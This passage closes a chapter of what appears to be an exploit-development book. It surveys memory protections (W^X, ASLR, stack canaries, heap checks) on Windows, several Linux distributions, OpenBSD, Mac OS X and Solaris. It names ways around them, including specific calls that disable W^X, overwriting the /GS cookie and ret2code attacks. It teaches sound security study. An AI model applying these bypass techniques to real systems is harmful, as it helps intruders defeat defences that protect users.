- W^X in Windows can be disabled on a per process basis with a call to `ZwSetInformationProcess(-1, 0x22, 0x400004, 4)` or a single call into the middle of a function in `ntdll.dll`, as briefly commented in the section "W^X (Either Writable or Executable) Memory" earlier in this chapter.
- W+X memory can be requested from the OS using `VirtualaAlloc()`.
- No section is mapped W+X on standard applications.
- On 64-bit versions of Windows, W^X is enabled by default for every application and can't be disabled, according to the official documentation.

ASLR

- Up to Windows Vista, the memory for the stack of different threads is created using `VirtualAlloc()`. As a result, their addresses are not 100 percent predictable, probably except for that of the main thread.
- Starting with SP2 of Windows XP the location for Process Environment Block (PEB) and Thread Environment/Information Block (TEB/TIB) are randomly taken from a set of 16 known addresses every time a new process is started.
- This randomization was introduced, most likely, to prevent the use of `PEBLockRoutine` and `PEBUnlockRoutine`, two function pointers stored in the PEB, commonly overwritten by exploits to gain control of the execution flow.
- Starting with Windows Vista, the stack address and heap location for every heap in a process are randomized every time a new process is created. Quick experimental results show that around 8 bits are randomized for heap addresses, and 14 for stack. Of these 14 bits, 9 are in the lower 11 bits; hence, sometimes, if the attacker can control more than 2K of consecutive space in the stack, the randomization factor can effectively be reduced to 5 bits.
- Starting with Windows Vista, 8 bits of dynamic libraries' and applications' load addresses are randomized once per reboot if they were compiled using the `/DYNAMICBASE` switch of Visual Studio 2005. To find out if a given `DLL` or `EXE` is marked as dynamic base you can use SEHInspector

as described in the section "Windows SEH Protections" earlier in this chapter.

- Up to Windows Vista Beta 2 the randomized libraries were loaded at a fixed distance from each other, but this changed when Vista was finally released, and now DLLs' and EXEs' load addresses are independently selected. Empirical results showed that when multiple processes use the same DLL, its load address is the same for all instances.

Stack Data Protections

- Since Windows XP SP2, all Windows binaries are compiled with a version of Visual Studio supporting the /GS switch. Other Microsoft packages may also be compiled with this option turned on.
- Visual Studio 2005 introduced some new features in the /GS protection; after that, the protection includes:
  - Random canary (or cookie)
  - Frame pointer and other registers protected by canary
  - Local byte arrays moved to the end of the stack frame
  - Pointer local variables moved to the beginning of the frame
  - Vulnerable arguments copied to local variables and then reordered
- The /GS protection is not enabled in every function, nor for every argument. There might be a problem in the logic that decides what to protect.
- Some constructions are inherently unprotectable with this technology without significant changes, as explained in the section on "Ideal Stack Layout" earlier in the chapter.
- Exception handling structures are placed in the stack. It's often possible to bypass the cookie check by corrupting the caller's EXCEPTION_REGISTRATION_RECORD and generating an exception.
- Up to Windows Vista the cookie was stored in a location fixed for every application or library. In Windows Vista this is still so, unless the application or library is loaded at a randomized address. Changing the global cookie to a known value may be an option to bypass the cookie check.
- In some cases, the cookie may not be randomized, as explained in http://msdn2.microsoft.com/en-US/library/8dbf701c.aspx. A notable example was the vulnerability MS06-040.

- On Windows 2003 SP0, the vulnerable `DLL` was compiled with `/GS`. As the vulnerability allowed the attacker to write anywhere in memory, a public exploit overwriting the global cookie value was soon released (`http://www.milw0rm.com/exploits/2355`). However, our tests showed that in fact this global cookie was not random at all, as the initialization routine was never called (and furthermore, it did not contain any invalid characters as it was `0xbb40e64e`).

Heap Protections

- Starting with Windows XP SP2 safe unlinking was incorporated, but it only checks when a block is removed from the doubly linked list of free blocks. If the safe unlink check fails, no exception is raised, and the application continues with the heap half broken.
- On Windows XP SP2, an 8-bit random cookie was added to heap chunk's header. On Windows XP SP2, if the cookie check fails, no exception is raised, and the attacker has the chance to continue trying.
- The cookie is stored in the middle of the header, leaving the first fields of the `HEAP_ENTRY` structure unprotected, which could be leveraged in an attack.
- Until the introduction of Windows Vista, attacks known as chunk-on-lookaside overwrite are possible and offer good results.
- Windows Vista replaced lookaside lists with the low fragmentation heap, cutting the chunk-on-lookaside overwrite technique off at its roots.
- In Windows Vista the random cookie was replaced by a random encoding, which is xored to the header of all heap chunks. There is code to abort the application if the check fails, but it's not clear when it's used.
- A buffer overflow in a heap block can be used to corrupt the adjacent blocks containing application data. Because C++ is very common on Windows, you can expect to find suitable class pointers in a significant number of applications. Investing some time in studying how to control the memory allocation pattern will lead to good results in most cases.

SEH Protections

See the specific section on "Windows SEH Protections" earlier in the chapter.

Others

- `RtlEncodePointer()` and `RtlEncodeSystemPointer()` are available for the user to encode function pointers (and any other sensitive pointer). We suggest only using `RtlEncodePointer()` since the storage area for the random key is in a safer memory area than that for `RtlEncodeSystemPointer()`.
- The SafeSEH implementation in Windows Vista uses `RtlEncodeSystemPointer()` instead of `RtlEncodePointer()`, which may lead to some weakness, especially for local exploits, unless the security of the mechanism doesn't depend on the pointers being encoded (in which case there must be a different reason to encode pointers).
- The very well known and highly used `PEBLockRoutine` and `PEBUnlockRoutine` function pointers stored in the `PEB` don't exist anymore in Windows Vista. They have simply been removed and now `RtlEnterCriticalSection()` and `RtlLeaveCriticalSection()` are directly called instead.
- Kernel memory, as used by device drivers and the kernel itself, is protected using *W^X* since Windows XP SP2. On 32-bit versions, *nx-stack* is always enabled, and apparently can't be disabled. On 64-bit versions the stack, paged pool, and session pool are all marked as non-executable, according to Microsoft's documentation. (`http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2mempr.mspx`).

Linux

With so many different distributions available, it's very complicated to have a complete picture of the existing protection mechanisms. This section tries to summarize what's present in a few of the more popular distributions. In every case the section sticks to default installations, because the combinations would otherwise be unmanageable.

W^X

- Fedora Core Linux, since version 2, includes ExecShield, which has W^X on most data sections. The same applies to corresponding Red Hat Enterprise Linux versions.
- Since Fedora Core Linux version 3, there are W+X sections mapped in all applications as part of `libc`.

- ExecShield, on some (default) 32-bit kernel versions, uses segmentation as the underlying mechanism for W^X, and it can be fully deactivated with tricks similar to those of OpenBSD, for example mapping an executable page at the top—`mmap(0xbffff000, 0x1000, 7, 0x32, xxxxx, 0)`—or changing the protections for an existing page using `mprotect()`.
- W+X memory can be requested from the OS using `mmap()`.
- Mandriva Linux release 2007.0 does not have any W^X protections, at least enabled by default. However, in our test labs Mandriva Linux release 2006.0 does have W^X enabled on most sections.
- Ubuntu 6.10 desktop and older does not have any W^X protections enabled by default; however, the server version does have nx-stack.
- Ubuntu's default implementation is based on the NX/PAE features of modern processors.
- Disabling Ubuntu's nx-stack is not as simple as with segmentation-based implementations: `mprotect()` must be applied specifically to the right memory page, and only that page will be affected.
- W+X pages can be mapped in Ubuntu using `mmap()`, so an mmap-strcpy-code can also be used.
- OpenSUSE version 10.1 doesn't include any W^X protections enabled by default. The same goes for older SuSE versions 9.1 and 9.0.
- Although there isn't really such thing as a default Gentoo installation, it won't have any W^X unless you specifically configure grsecurity or PaX from gentoo-hardened. When enabled, as has been said, there is no way to obtain W+X or X after W memory on PaX.

ASLR

- Every process on Fedora Core 6 has 14 bits of heap randomization with a mask of `0x03fff000` by default, and 20 bits of stack randomization with a mask of `0x00fffff0`.
- On Fedora Core, libraries can be prelinked using a tool called prelink. As a result, their load address will vary each time prelink is executed. prelink is run by default every two weeks (by a crontab script). It's interesting to note that the addresses will, more than likely, vary from system to system.
- If prelink is not used, ExecShield's randomization is also applied to libraries. The result is 10-bit randomization with a mask of `0x003ff000`.
- prelink loads libraries on the same address for every process. An information leak in one process may hint where libraries are loaded in another

process. Because the `-R` option is used by default on prelink, the base address of each library is independently selected, although the order in which libraries are mapped in memory is still maintained.

- Since Fedora Core 4 the `[vdso]` section is randomly mapped every time a program starts and is marked non-executable. Up to Fedora Core 3 it was always mapped at `0xffffe000` and executable.
- prelink loads libraries in the AAAS.
- Fedora Core does have a few "critical" binaries compiled as PIE (Position Independent Executables), which get loaded at random addresses, making it harder to perform ret2text attacks. The rest of the binaries are loaded at fixed known locations (mostly `0x8048000`).
- Mandriva Linux release 2007.0 has 20 bits of randomization for stack addresses at a mask of `0x00fffff0`. The heap is not randomized and libraries' load addresses have 10 bits of randomization with a mask of `0x003ff000`.
- Mandriva Linux release 2007.0 loads libraries in high addresses, way out of the AAAS.
- Mandriva Linux release 2007.0 maps the `[vdso]` section always at `0xffffe000`.
- Ubuntu 6.10 desktop and server have the same characteristics as Mandriva.
- OpenSUSE 10.1 has the same features as Mandriva and Ubuntu. All these features are part of ExecShield, now part of mainstream Linux kernels.
- Default Gentoo installations also share the same randomization parameters as the previous three, with the addition of randomized `[vdso]`. If gentoo-hardened is installed and enabled, PaX randomization algorithms would take over and offer a much better protection.
- In the cases where the binary and/or `[vdso]` are in a fixed location all ret2text, some ret2code and possible ret2syscall attacks may be performed using it.

Stack Data Protections

- Only since ProPolice was adopted by GCC (in version 4.1) have Linux distributions started using it. For Fedora Core it's version 5, and for Ubuntu it's version 6.10.

- You can find out if a given distribution has the feature enabled by default compiling the C program from the introduction of this chapter and using `objdump -d` to check whether the compiler added a canary check or not in the prologue for `function()`.
- Another stack data protection mechanism included in GCC 4.1 is `FORTIFY_SOURCE`, which adds size checks on vulnerable `libc` functions when the size of buffers can be determined at compile time. For more information about `FORTIFY_SOURCE` and other ExecShield related features see `http://www.redhat.com/magazine/009jul05/features/execshield/`.
- Although `FORTIFY_SOURCE` was just included in GCC 4.1, Fedora Core 3 already included some binaries compiled with it.

Heap Protections

- The heap protections were first released with glibc-2.3.4 and improved for the last time in glibc-2.3.5. The following is a list of the releases where these protections were introduced:
  - Fedora Core 4
  - Mandriva 2006.0
  - Ubuntu 5.10
  - OpenSUSE 10.1
  - Gentoo 2004.3
- "The Malloc Maleficarum" (`http://marc.info?m=112906797705156`) is probably the only source of information on attacks against `glibc` with heap checks.
- Heap blocks are allocated one after the other, with no intentional gap left between them, so overwriting sensitive information in adjacent heap buffers is a real possibility on Linux. However, because not many applications are written in C++, it's not as easy to find function pointers to corrupt as it is on, for example, Windows.

Others

- PaX includes different protections for the kernel, but it's not installed by default in the biggest Linux distributions.

OpenBSD

All the following information corresponds to OpenBSD 4.1; most of the features existed already in OpenBSD 3.8.

W^X

- It's enabled by default for all processes, and it's available in most supported architectures (at least on Intel x86, sparc, sparc64, alpha, amd64, and hppa).
- W^X can be disabled with a single call to `mprotect(0xcfbf????, x, 7)`.
- W+X memory can be requested from the OS using `mmap()`.
- No section is mapped W+X on standard applications.
- Chained ret2code is a real possibility, and actually quite straightforward, due to the use of the `__stdcall` calling convention.

ASLR

- Most memory sections are randomized, including the stack, heap, and libraries.
- The main code section of an application and its data are not randomized. All ret2text variants could be used in an exploit; however, because all binaries are compiled using stack data protections, it's not trivial to control the stack to the extent needed to do a ret2text attack. It will not be randomized on Intel x86 in the near future, but it could be on other platforms.
- 16 bits of the lowest 18 bits of stack addresses are randomized; using big cushions may help reduce the effective variability.
- The 20 higher bits of libraries' load addresses are randomized. Each library's address is independently chosen.
- Empirical results show around 16 bits of randomization for heap buffers.

Stack Data Protections

- Since OpenBSD 3.4 all binaries are compiled with ProPolice. The following is a summary of the mechanisms introduced by ProPolice to protect the data on the stack:
  - Random canary

- Frame pointer and other saved registers protected by canary
- Local byte arrays moved to the end of the stack frame
- Other local variables moved to the beginning of the frame
- All arguments copied to local variables, and then reordered

- ProPolice protection is not enabled in every function. There might be problems in the logic deciding what to protect.
- Some constructions are inherently not protectable with these technologies without big changes (as explained in the section on "Ideal Stack Layout" earlier in the chapter).

Heap Protections

- Heap blocks are placed in memory pages requested from the OS using `mmap()`. A page is only shared by blocks of the same size, and when the space left is not enough for a full block, it's left unused.
- An unmapped memory space is left between areas returned by different calls to `mmap()`, so it's quite unlikely that an overflow in a heap block will corrupt sensitive data in an adjacent block.
- Heap blocks larger than pagesize/2 (2048 on Intel x86) are always stored at a page boundary. In Intel x86, for example, this means that their addresses will always be of the form `0x?????000`.

Others

- The kernel is compiled using ProPolice since version 3.4.
- Some type of W^X is available on the kernel on some platforms.

Mac OS X

There are only a few differences, with respect to the protection mechanisms, between Mac OS X on PowerPC and Intel processors. Even some of the addresses are common.

W^X

- On Intel x86, only the stack is marked as non-executable; all the rest is executable.
- On PowerPC everything is marked executable.

ASLR

- Nothing is randomized.
- Most addresses are even the same (or similar) between the two platforms, except for obvious differences introduced by each platform's code.
- Some sections, notably the heap and main binary, are located in the AAAS.

Stack Data Protections

- None. No canary or reordering exists in Mac OS X binaries.

Heap Protections

- None. No safe unlinking checks or heap canaries exist.
- Heap data blocks are often allocated one next to the other with no intervening heap management structures, so overflowing into sensitive information is a possibility. This arguably makes an application-specific heap overflow exploit easier. On the other hand, it also arguably makes a generic OS X heap overflow technique harder.

Others

Something to bear in mind when you are attacking Mac OS X is that you may be running on either an Intel or a PowerPC processor and you should take special care to ensure that your exploit works on both platforms. This can be achieved either by crafting multiplatform code or taking advantage of the differences in the exploitation parameters (like distance to the return address in a stack overflow), as explained in Chapter 12.

Solaris

Solaris was one of the first modern operating systems to adopt nx-stack, but today, this is the only protection mechanism available from those studied in this chapter. We may expect to see some more additions in the future, especially coming from the OpenSolaris security group (`http://www.opensolaris.org/os/community/security/projects/privdebug/`), but there are no hints of that today.

W^X

- On Intel x86 hardware, Solaris 10 has no support for W^X at all.
- On SPARC hardware, non-executable pages can be created.
- nx-stack is enabled by default for `suid` 32-bit applications and disabled for any other 32-bit application. It can be globally enabled by changing the file `/etc/system`.
- nx-stack is enabled by default for every 64-bit application.
- There are sections mapped W+X on all applications.
- A section originally marked as W^X can be made W+X using `mprotect()`.
- Chained ret2code is a real possibility, as demonstrated by John McDonald (`http://marc.info?m=92047779607046`).

ASLR

- There's no randomization of addresses at all.
- Libraries are loaded in high addresses out of the AAAS.
- The main application image and the heap are mapped in the AAAS.

Stack Data Protections

- None. No canary or reordering of stack contents exists in Solaris binaries.

Heap Protections

- None. No safe unlinking or cookie checks exist in the heap routines for Solaris up to version 10.

Others

Starting with Solaris 10 there are a few new security features that could be used to harden a Solaris system. All of them are related to sandboxing and limited capabilities: Process Rights Management and RBAC, Trusted Extensions and MAC, and the incredible capabilities of DTrace tool, which is not only great for debugging, but can also be used to limit the capabilities of a given process or set of processes.

Conclusion

Throughout this chapter you've seen how the different protection mechanisms make the life of the exploit writer more interesting and complicated at the same time. All the protections presented, by themselves, contain weaknesses, which have been shown here to be weakness enough to re-gain code execution on a protected system. However, when used together, these mechanisms can combine to offer much more protection than their mere sum.

As long as the protections continue to bloom nurtured on specific exploitation techniques, they will always lag behind the state of the art, and the attacker will have very good chances of finding ways around them. The time line of Microsoft's SEH protections is a good demonstration: exploits used to abuse registers to trampoline into code, Microsoft zeroed all registers, then exploits started jumping directly to the stack, they forbid it, so exploits began using `pop-pop-ret` as trampoline, Microsoft implemented /SafeSEH and exploits are still feasible, but need new techniques. With the introduction of Windows Vista, Microsoft changed how /SafeSEH is implemented, and exploits still survived (and sometimes they are even easier to do than before).

On the other hand, well thought-out protections, like W^X and ASLR, which could theoretically stop any foreign code injection and code reuse, have to deal with the competing priorities of implementation details, backward compatibility, standards, and performance degradation, and so far, it's not clear who'll win the game.

There are also economic factors in this race—there are currently growing white, black, and gray markets for exploitable bugs and their corresponding exploits. Governments, criminals, and big companies are raising the price for exploits and exploitable vulnerabilities, injecting money into the market, which is becoming more demanding and political. In this context, exploit writers, challenged by the protection mechanisms, user's expectations, and power politics, are forced to study and research new exploitation techniques, becoming more specialized and serious, creating a huge amount of literature, but also saving the more advanced tricks to profit themselves and stifling public discussion. The learning curve is becoming steeper and starting higher, while the "unpublished" knowledge on the field is becoming more robust.

Staying with binary applications, you'll continue to see for a few years exploitable vulnerabilities and exploits (the former can't exist without the latter), and their prices will continue to increase as they become rare and fewer exploit writers manage to survive the challenges. Simultaneously, you'll start seeing more and more attacks moving to less protected areas like other operating systems, kernel vulnerabilities, embedded devices, appliances, hardware, and Web applications. Where these trends will end is debatable—though the authors of this volume consider it unlikely that the problem of arbitrary-code vulnerabilities will ever be truly solved.

Bearing in mind the content of this chapter, it seems almost ridiculous to start learning exploit development using a stack-based buffer overflow vulnerability as a first exercise, but there's no other option: that's where the learning curve starts. To fully understand the state of the art in exploits today takes lots of brain and dedication, but there's still a lot to discover. Fasten your seatbelts, and enjoy the ride.